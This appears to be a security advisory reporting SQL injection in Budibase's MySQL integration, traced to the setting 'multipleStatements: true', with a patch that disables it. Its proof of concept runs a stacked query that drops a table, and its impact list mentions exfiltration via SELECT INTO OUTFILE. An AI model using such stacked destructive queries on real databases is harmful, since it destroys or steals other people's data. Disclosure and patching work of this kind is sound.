Summary

A critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.

Details

Vulnerability Type

SQL Injection (CWE-89)

Description

The MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.

Location

// File: packages/server/src/integrations/mysql.ts
// Line: 173

this.config = {
  ...config,
  typeCast: defaultTypeCasting,
  multipleStatements: true,  // VULNERABLE
  timezone: "Z",
}

Proof of Concept

Exploit

const mysql = require('mysql2');

// Budibase vulnerable configuration
const connection = mysql.createConnection({
  host: 'localhost',
  user: 'root',
  password: 'password',
  multipleStatements: true,  // Vulnerable setting
  timezone: "Z"
});

// Attack: Data destruction
connection.query(
  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,
  (err, results) => {
    if (!err) console.log("Table dropped successfully");
  }
);

Impact

• Data Destruction: Execute DROP TABLE, DELETE commands
• Data Theft: Exfiltrate data via SELECT INTO OUTFILE
• Privilege Escalation: Grant database admin privileges
• Denial of Service: Disrupt service operations
• Complete Database Compromise: Full control over database

Remediation

Patch

--- a/packages/server/src/integrations/mysql.ts
+++ b/packages/server/src/integrations/mysql.ts
@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {
     this.config = {
       ...config,
       typeCast: defaultTypeCasting,
-      multipleStatements: true,
+      multipleStatements: false,
       timezone: "Z",
     }
   }

Workarounds

1. Temporarily disable MySQL integration
2. Implement web application firewall (WAF)
3. Restrict database user privileges

References

• CWE-89: SQL Injection
• OWASP SQL Injection Prevention

For More Information

Contact: security@example.com